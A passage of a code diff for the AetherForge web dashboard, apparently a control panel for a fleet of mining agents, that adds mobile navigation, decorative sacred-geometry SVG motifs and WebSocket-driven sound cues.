const mobileShortLabel: Record<string, string> = {
|
||||
'/dashboard': 'Deck',
|
||||
'/agents': 'Fleet',
|
||||
'/crucible': 'Ops',
|
||||
'/forge': 'Forge',
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="layout">
|
||||
<CursorFire />
|
||||
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
|
||||
{!isMobile && <CursorFire />}
|
||||
<AmbientBackground />
|
||||
<nav className="sidebar">
|
||||
<SacredGeometryLayer />
|
||||
<nav className="sidebar sidebar--desktop desktop-only">
|
||||
<div className="sidebar-header">
|
||||
<div className="logo">
|
||||
<div className="logo-emblem">
|
||||
@@ -172,6 +241,10 @@ export default function Layout({ children }: LayoutProps) {
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="sidebar-sacred-sigil" aria-hidden>
|
||||
<SacredMotif name="flower" opacity={0.6} />
|
||||
</div>
|
||||
|
||||
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
|
||||
<MatrixRain />
|
||||
|
||||
@@ -184,10 +257,72 @@ export default function Layout({ children }: LayoutProps) {
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div className="main-with-status">
|
||||
{isMobile && (
|
||||
<header className="mobile-top-bar">
|
||||
<img src={afLogo} alt="" className="mobile-top-logo" />
|
||||
<span className="mobile-top-title">AetherForge</span>
|
||||
<MobileTopStats />
|
||||
</header>
|
||||
)}
|
||||
|
||||
<div className={`main-with-status${isMobile ? ' main-with-status--mobile' : ''}`}>
|
||||
<SystemStatusBar />
|
||||
<SetupBanner status={setupStatus} />
|
||||
<main className="main-content">{children}</main>
|
||||
</div>
|
||||
|
||||
{isMobile && (
|
||||
<>
|
||||
{moreOpen && (
|
||||
<div
|
||||
className="mobile-menu-backdrop"
|
||||
role="presentation"
|
||||
onClick={() => setMoreOpen(false)}
|
||||
/>
|
||||
)}
|
||||
<div className={`mobile-more-sheet${moreOpen ? ' open' : ''}`}>
|
||||
{MOBILE_MORE.map((item) => (
|
||||
<NavLink
|
||||
key={item.to}
|
||||
to={item.to}
|
||||
className={({ isActive }) => `mobile-more-link${isActive ? ' active' : ''}`}
|
||||
onClick={() => setMoreOpen(false)}
|
||||
>
|
||||
<NavIcon type={item.icon} />
|
||||
{item.label}
|
||||
</NavLink>
|
||||
))}
|
||||
</div>
|
||||
<nav className="mobile-bottom-nav" aria-label="Main navigation">
|
||||
{MOBILE_PRIMARY.map((item) => (
|
||||
<NavLink
|
||||
key={item.to}
|
||||
to={item.to}
|
||||
className={({ isActive }) =>
|
||||
`mobile-bottom-nav-item${isActive ? ' active' : ''}`
|
||||
}
|
||||
>
|
||||
<NavIcon type={item.icon} />
|
||||
{mobileShortLabel[item.to] ?? item.label}
|
||||
</NavLink>
|
||||
))}
|
||||
<button
|
||||
type="button"
|
||||
className={`mobile-bottom-nav-item${moreActive ? ' active' : ''}`}
|
||||
aria-expanded={moreOpen}
|
||||
aria-label="More pages"
|
||||
onClick={() => setMoreOpen((o) => !o)}
|
||||
>
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<circle cx="12" cy="5" r="1.5" fill="currentColor" />
|
||||
<circle cx="12" cy="12" r="1.5" fill="currentColor" />
|
||||
<circle cx="12" cy="19" r="1.5" fill="currentColor" />
|
||||
</svg>
|
||||
More
|
||||
</button>
|
||||
</nav>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
182
server/web/src/components/Layout/MobileNav.css
Normal file
182
server/web/src/components/Layout/MobileNav.css
Normal file
@@ -0,0 +1,182 @@
|
||||
/* Mobile top bar + bottom nav (see Layout.tsx) */
|
||||
|
||||
.mobile-only {
|
||||
display: none;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.mobile-only {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.desktop-only {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
.mobile-top-bar {
|
||||
display: none;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 110;
|
||||
align-items: center;
|
||||
gap: 0.65rem;
|
||||
padding: 0.5rem 0.75rem;
|
||||
background: rgba(8, 6, 4, 0.96);
|
||||
border-bottom: 1px solid var(--border-brass);
|
||||
backdrop-filter: blur(12px);
|
||||
}
|
||||
|
||||
.layout--mobile .mobile-top-bar {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.mobile-top-logo {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
border-radius: 50%;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.mobile-top-title {
|
||||
font-family: var(--font-display);
|
||||
font-size: 0.95rem;
|
||||
font-weight: 700;
|
||||
color: var(--brass-light);
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
.mobile-top-stats {
|
||||
margin-left: auto;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.65rem;
|
||||
color: var(--neon-cyan);
|
||||
letter-spacing: 0.06em;
|
||||
text-align: right;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.mobile-top-stats span {
|
||||
display: block;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.55rem;
|
||||
}
|
||||
|
||||
.layout--mobile .main-with-status {
|
||||
padding-top: 52px;
|
||||
}
|
||||
|
||||
.mobile-bottom-nav {
|
||||
display: none;
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 110;
|
||||
align-items: stretch;
|
||||
justify-content: space-around;
|
||||
gap: 0;
|
||||
background: rgba(8, 6, 4, 0.98);
|
||||
border-top: 1px solid var(--border-brass);
|
||||
backdrop-filter: blur(16px);
|
||||
box-shadow: 0 -4px 24px rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.layout--mobile .mobile-bottom-nav {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.mobile-bottom-nav-item {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 0.15rem;
|
||||
padding: 0.4rem 0.2rem;
|
||||
min-height: 52px;
|
||||
color: var(--text-muted);
|
||||
text-decoration: none;
|
||||
font-size: 0.55rem;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.03em;
|
||||
border: none;
|
||||
background: transparent;
|
||||
cursor: pointer;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
.mobile-bottom-nav-item svg {
|
||||
width: 1.25rem;
|
||||
height: 1.25rem;
|
||||
}
|
||||
|
||||
.mobile-bottom-nav-item.active,
|
||||
.mobile-bottom-nav-item:hover {
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.mobile-bottom-nav-item.active {
|
||||
background: rgba(0, 245, 255, 0.08);
|
||||
}
|
||||
|
||||
.mobile-menu-backdrop {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 115;
|
||||
background: rgba(0, 0, 0, 0.55);
|
||||
backdrop-filter: blur(2px);
|
||||
}
|
||||
|
||||
.mobile-more-sheet {
|
||||
position: fixed;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: calc(52px + env(safe-area-inset-bottom, 0px));
|
||||
z-index: 120;
|
||||
max-height: 55vh;
|
||||
overflow-y: auto;
|
||||
-webkit-overflow-scrolling: touch;
|
||||
background: rgba(12, 10, 8, 0.98);
|
||||
border-top: 1px solid var(--border-brass);
|
||||
padding: 0.5rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.25rem;
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: transform 0.25s ease, opacity 0.2s ease;
|
||||
}
|
||||
|
||||
.mobile-more-sheet.open {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
}
|
||||
|
||||
.mobile-more-link {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.75rem;
|
||||
padding: 0.85rem 1rem;
|
||||
border-radius: 4px;
|
||||
color: var(--text-secondary);
|
||||
text-decoration: none;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 600;
|
||||
min-height: 48px;
|
||||
}
|
||||
|
||||
.mobile-more-link.active {
|
||||
background: rgba(0, 245, 255, 0.1);
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.mobile-more-link svg {
|
||||
width: 1.35rem;
|
||||
height: 1.35rem;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import { ReactNode, CSSProperties } from 'react';
|
||||
import SacredCardWatermark from '../Visual/sacredGeometry/SacredCardWatermark';
|
||||
import './NeonCard.css';
|
||||
|
||||
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
|
||||
@@ -26,6 +27,7 @@ export default function NeonCard({
|
||||
style={style}
|
||||
>
|
||||
<div className="neon-card-rim" />
|
||||
<SacredCardWatermark accent={accent} />
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -1,7 +1,10 @@
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const { play } = useSound();
|
||||
const [ready, setReady] = useState(false);
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
const [user, setUser] = useState('');
|
||||
@@ -34,10 +37,12 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
play('error');
|
||||
return;
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
play('success');
|
||||
} catch {
|
||||
setErr('Cannot reach server — check that miner-server is running.');
|
||||
}
|
||||
@@ -46,6 +51,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
if (!ready) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<p className="font-tech">Starting AetherForge…</p>
|
||||
</div>
|
||||
);
|
||||
@@ -54,6 +62,17 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
if (!authed) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<div className="session-gate-keys" aria-hidden>
|
||||
<div className="session-gate-key session-gate-key--tl">
|
||||
<KnowledgeKey opacity={0.55} />
|
||||
</div>
|
||||
<div className="session-gate-key session-gate-key--br">
|
||||
<KnowledgeKey opacity={0.45} />
|
||||
</div>
|
||||
</div>
|
||||
<form className="session-gate-card card" onSubmit={handleLogin}>
|
||||
<h1 className="font-display">AetherForge</h1>
|
||||
<p className="form-hint">Sign in to open the command deck.</p>
|
||||
@@ -72,6 +91,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
<button type="submit" className="btn btn-primary btn-lg">
|
||||
Enter Command Deck
|
||||
</button>
|
||||
<p className="session-gate-whisper" aria-hidden>
|
||||
ψ · the deck remembers every key
|
||||
</p>
|
||||
</form>
|
||||
</div>
|
||||
);
|
||||
|
||||
73
server/web/src/components/Sound/SoundBridge.tsx
Normal file
73
server/web/src/components/Sound/SoundBridge.tsx
Normal file
@@ -0,0 +1,73 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { useSound } from '../../context/SoundContext';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import type { FleetAlert, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
|
||||
const SHARE_MIN_MS = 2500;
|
||||
const CMD_RESULT_MIN_MS = 600;
|
||||
const SILENT_CMD_ACTIONS = new Set(['get_log', 'wg_status', 'mesh_status']);
|
||||
|
||||
/**
|
||||
* Plays fleet/event cues from the shared dashboard WebSocket (not UI clicks).
|
||||
*/
|
||||
export default function SoundBridge() {
|
||||
const { enabled, play } = useSound();
|
||||
const { isConnected, latestMessage } = useWebSocket();
|
||||
const wasConnected = useRef<boolean | null>(null);
|
||||
const lastShareAt = useRef(0);
|
||||
const lastCmdAt = useRef(0);
|
||||
const lastMsgRef = useRef<WSMessage | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
if (!enabled) return;
|
||||
if (wasConnected.current === null) {
|
||||
wasConnected.current = isConnected;
|
||||
return;
|
||||
}
|
||||
if (wasConnected.current !== isConnected) {
|
||||
play(isConnected ? 'connect' : 'disconnect');
|
||||
wasConnected.current = isConnected;
|
||||
}
|
||||
}, [isConnected, enabled, play]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!enabled || !latestMessage || latestMessage === lastMsgRef.current) return;
|
||||
lastMsgRef.current = latestMessage;
|
||||
|
||||
switch (latestMessage.type) {
|
||||
case 'agent_online':
|
||||
play('online');
|
||||
break;
|
||||
case 'agent_offline':
|
||||
play('offline');
|
||||
break;
|
||||
case 'new_share': {
|
||||
const now = Date.now();
|
||||
if (now - lastShareAt.current >= SHARE_MIN_MS) {
|
||||
lastShareAt.current = now;
|
||||
play('share');
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = latestMessage.payload as FleetAlert;
|
||||
play(alert.level === 'error' ? 'alertCritical' : 'alert');
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = latestMessage.payload as WSCommandResult;
|
||||
if (p.action && SILENT_CMD_ACTIONS.has(p.action)) break;
|
||||
const now = Date.now();
|
||||
if (now - lastCmdAt.current < CMD_RESULT_MIN_MS) break;
|
||||
lastCmdAt.current = now;
|
||||
play(p.success ? 'success' : 'error');
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}, [latestMessage, enabled, play]);
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -125,6 +125,7 @@ export default function CursorFire() {
|
||||
return (
|
||||
<canvas
|
||||
ref={canvasRef}
|
||||
className="cursor-fire-fx"
|
||||
style={{
|
||||
position: 'fixed',
|
||||
inset: 0,
|
||||
|
||||
@@ -364,6 +364,24 @@
|
||||
color: var(--neon-green);
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.system-status-bar {
|
||||
flex-wrap: nowrap;
|
||||
overflow-x: auto;
|
||||
-webkit-overflow-scrolling: touch;
|
||||
scrollbar-width: none;
|
||||
}
|
||||
|
||||
.system-status-bar::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.status-pill {
|
||||
flex-shrink: 0;
|
||||
white-space: nowrap;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.compare-grid {
|
||||
grid-template-columns: 1fr;
|
||||
|
||||
@@ -73,12 +73,12 @@ interface ActivityPulseProps {
|
||||
items: { id: string; label: string; ok: boolean; time?: string }[];
|
||||
}
|
||||
|
||||
export function ActivityPulse({ items }: ActivityPulseProps) {
|
||||
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
|
||||
if (items.length === 0) {
|
||||
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
||||
}
|
||||
return (
|
||||
<div className="activity-pulse">
|
||||
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
|
||||
{items.slice(0, 12).map((item) => (
|
||||
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
||||
<span className="activity-blip-core" />
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
import { SacredMotif, type MotifName } from './motifs';
|
||||
|
||||
const ACCENT_MOTIFS: Record<string, [MotifName, MotifName]> = {
|
||||
cyan: ['hex', 'seed'],
|
||||
magenta: ['vesica', 'yantra'],
|
||||
amber: ['spiral', 'key'],
|
||||
green: ['seed', 'hex'],
|
||||
purple: ['metatron', 'torus'],
|
||||
brass: ['flower', 'key'],
|
||||
gold: ['yantra', 'spiral'],
|
||||
};
|
||||
|
||||
/** Corner watermarks inside neon cards */
|
||||
export default function SacredCardWatermark({ accent = 'brass' }: { accent?: string }) {
|
||||
const [tl, br] = ACCENT_MOTIFS[accent] ?? ACCENT_MOTIFS.brass;
|
||||
return (
|
||||
<>
|
||||
<div className="neon-card-sacred neon-card-sacred--tl" aria-hidden>
|
||||
<SacredMotif name={tl} opacity={0.5} />
|
||||
</div>
|
||||
<div className="neon-card-sacred neon-card-sacred--tr" aria-hidden>
|
||||
<SacredMotif name="seed" opacity={0.35} />
|
||||
</div>
|
||||
<div className="neon-card-sacred neon-card-sacred--br" aria-hidden>
|
||||
<SacredMotif name={br} opacity={0.45} />
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
/* Layer-specific overrides (shared tokens in sacred-geometry.css) */
|
||||
.sacred-layer__corner--mid-l {
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.sacred-layer__corner--mid-r {
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.sacred-layer__corner--mid-l svg,
|
||||
.sacred-layer__corner--mid-r svg {
|
||||
animation: sacred-geo-rotate 220s linear infinite;
|
||||
}
|
||||
|
||||
.sacred-layer__corner--mid-r svg {
|
||||
animation-direction: reverse;
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
import { SacredMotif } from './motifs';
|
||||
import './SacredGeometryLayer.css';
|
||||
|
||||
/** Viewport-wide sacred geometry — corners, keys, wisdom rail */
|
||||
export default function SacredGeometryLayer() {
|
||||
return (
|
||||
<div className="sacred-layer" aria-hidden>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--tl">
|
||||
<SacredMotif name="metatron" opacity={0.55} />
|
||||
</div>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--tr">
|
||||
<SacredMotif name="yantra" opacity={0.5} />
|
||||
</div>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--bl">
|
||||
<SacredMotif name="spiral" opacity={0.5} />
|
||||
</div>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--br">
|
||||
<SacredMotif name="key" opacity={0.55} />
|
||||
</div>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--mid-l">
|
||||
<SacredMotif name="vesica" opacity={0.45} />
|
||||
</div>
|
||||
<div className="sacred-layer__corner sacred-layer__corner--mid-r">
|
||||
<SacredMotif name="torus" opacity={0.45} />
|
||||
</div>
|
||||
|
||||
<div className="sacred-layer__keys">
|
||||
<span className="sacred-key sacred-key--1" title="Shell index">
|
||||
◈
|
||||
</span>
|
||||
<span className="sacred-key sacred-key--2" title="Ley ledger">
|
||||
✦
|
||||
</span>
|
||||
<span className="sacred-key sacred-key--3" title="Root chord">
|
||||
◎
|
||||
</span>
|
||||
<span className="sacred-key sacred-key--4" title="Archive gate">
|
||||
ψ
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="sacred-layer__wisdom-rail font-tech" title="Whispers from the deck">
|
||||
<span>Ω</span>
|
||||
<span>∇</span>
|
||||
<span>∞</span>
|
||||
<span>⌬</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
import type { ReactNode } from 'react';
|
||||
import { SacredMotif } from './motifs';
|
||||
|
||||
/** Optional sacred divider + motif beside page titles */
|
||||
export default function SacredPageHeader({
|
||||
children,
|
||||
className = '',
|
||||
}: {
|
||||
children: ReactNode;
|
||||
className?: string;
|
||||
}) {
|
||||
return (
|
||||
<header className={`page-header page-header--sacred ${className}`.trim()}>
|
||||
{children}
|
||||
<div className="page-header-sacred-motif" aria-hidden>
|
||||
<SacredMotif name="hex" opacity={0.55} />
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
292
server/web/src/components/Visual/sacredGeometry/motifs.tsx
Normal file
292
server/web/src/components/Visual/sacredGeometry/motifs.tsx
Normal file
@@ -0,0 +1,292 @@
|
||||
/** Reusable sacred-geometry SVG motifs — decorative only (aria-hidden at call sites). */
|
||||
|
||||
type MotifProps = {
|
||||
className?: string;
|
||||
stroke?: string;
|
||||
opacity?: number;
|
||||
};
|
||||
|
||||
const DEFAULT_STROKE = '#c9a227';
|
||||
|
||||
export function FlowerOfLifeWatermark({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const R = 32;
|
||||
const petalAngles = [0, 60, 120, 180, 240, 300];
|
||||
const petals = petalAngles.map((deg) => {
|
||||
const rad = (deg * Math.PI) / 180;
|
||||
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
|
||||
});
|
||||
const starR = R * 1.15;
|
||||
const starPts = Array.from({ length: 5 }, (_, i) => {
|
||||
const rad = ((i * 72 - 90) * Math.PI) / 180;
|
||||
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
|
||||
});
|
||||
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
|
||||
const triR = R * 0.7;
|
||||
const triUp = [0, 120, 240]
|
||||
.map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
})
|
||||
.join(' ');
|
||||
const triDown = [60, 180, 300]
|
||||
.map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
})
|
||||
.join(' ');
|
||||
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity}>
|
||||
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="1.2 1.8" />
|
||||
<circle cx={cx} cy={cy} r={R} fill="none" stroke={stroke} strokeWidth="0.22" />
|
||||
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="0.6 1.2" />
|
||||
{petals.map((p, i) => (
|
||||
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke={stroke} strokeWidth="0.16" opacity="0.7" />
|
||||
))}
|
||||
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
|
||||
<polygon points={triUp} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
|
||||
<polygon points={triDown} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
|
||||
<circle cx={cx} cy={cy} r="0.6" fill={stroke} opacity="0.9" />
|
||||
{starPts.map((p, i) => (
|
||||
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke={stroke} strokeWidth="0.1" opacity="0.35" />
|
||||
))}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function SeedOfLife({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const r = 14;
|
||||
const centers = [{ x: cx, y: cy }];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const a = (i * 60 * Math.PI) / 180;
|
||||
centers.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
|
||||
}
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity}>
|
||||
<circle cx={cx} cy={cy} r={r * 2.2} fill="none" stroke={stroke} strokeWidth="0.2" strokeDasharray="0.8 1.4" />
|
||||
{centers.map((c, i) => (
|
||||
<circle key={i} cx={c.x} cy={c.y} r={r} fill="none" stroke={stroke} strokeWidth="0.18" />
|
||||
))}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function MetatronCube({ className = '', stroke = DEFAULT_STROKE, opacity = 0.45 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const r = 28;
|
||||
const pts: { x: number; y: number }[] = [];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const a = ((i * 60 - 90) * Math.PI) / 180;
|
||||
pts.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
|
||||
}
|
||||
const inner = r * 0.55;
|
||||
const innerPts: { x: number; y: number }[] = [];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const a = ((i * 60 - 90) * Math.PI) / 180;
|
||||
innerPts.push({ x: cx + inner * Math.cos(a), y: cy + inner * Math.sin(a) });
|
||||
}
|
||||
const lines: [number, number][] = [];
|
||||
for (let i = 0; i < pts.length; i++) {
|
||||
for (let j = i + 1; j < pts.length; j++) lines.push([i, j]);
|
||||
}
|
||||
for (let i = 0; i < innerPts.length; i++) {
|
||||
for (let j = i + 1; j < innerPts.length; j++) lines.push([i + 6, j + 6]);
|
||||
}
|
||||
pts.forEach((_, i) => lines.push([i, i + 6]));
|
||||
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} stroke={stroke} strokeWidth="0.14" fill="none">
|
||||
<circle cx={cx} cy={cy} r={r * 1.05} strokeWidth="0.16" />
|
||||
<circle cx={cx} cy={cy} r={inner} strokeDasharray="0.5 1" />
|
||||
{lines.map(([a, b], i) => {
|
||||
const p1 = a < 6 ? pts[a] : innerPts[a - 6];
|
||||
const p2 = b < 6 ? pts[b] : innerPts[b - 6];
|
||||
return <line key={i} x1={p1.x} y1={p1.y} x2={p2.x} y2={p2.y} opacity="0.5" />;
|
||||
})}
|
||||
{[...pts, ...innerPts].map((p, i) => (
|
||||
<circle key={`d${i}`} cx={p.x} cy={p.y} r="0.5" fill={stroke} stroke="none" />
|
||||
))}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const r = 22;
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke}>
|
||||
<circle cx={cx - r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||
<path
|
||||
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
|
||||
stroke="#00f5ff"
|
||||
strokeWidth="0.16"
|
||||
opacity="0.6"
|
||||
/>
|
||||
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function HexLattice({ className = '', stroke = DEFAULT_STROKE, opacity = 0.35 }: MotifProps) {
|
||||
const hex = (cx: number, cy: number, s: number) => {
|
||||
const pts = Array.from({ length: 6 }, (_, i) => {
|
||||
const a = ((60 * i - 30) * Math.PI) / 180;
|
||||
return `${cx + s * Math.cos(a)},${cy + s * Math.sin(a)}`;
|
||||
}).join(' ');
|
||||
return <polygon key={`${cx}-${cy}`} points={pts} />;
|
||||
};
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.12">
|
||||
{hex(50, 50, 18)}
|
||||
{hex(50, 32, 10)}
|
||||
{hex(50, 68, 10)}
|
||||
{hex(34, 41, 10)}
|
||||
{hex(66, 41, 10)}
|
||||
{hex(34, 59, 10)}
|
||||
{hex(66, 59, 10)}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function GoldenSpiral({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
|
||||
const cx = 18;
|
||||
const cy = 82;
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.18">
|
||||
<rect x="18" y="18" width="64" height="64" strokeDasharray="1 2" opacity="0.35" />
|
||||
<path
|
||||
d="M 18 82 A 64 64 0 0 1 82 18 A 40 40 0 0 1 58 42 A 24 24 0 0 1 42 58 A 14 14 0 0 1 50 50"
|
||||
stroke="#ffb020"
|
||||
/>
|
||||
<circle cx={cx} cy={cy} r="1" fill={stroke} />
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function TorusRings({ className = '', stroke = DEFAULT_STROKE, opacity = 0.42 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke}>
|
||||
{[34, 26, 18, 10].map((r, i) => (
|
||||
<ellipse
|
||||
key={r}
|
||||
cx={cx}
|
||||
cy={cy}
|
||||
rx={r}
|
||||
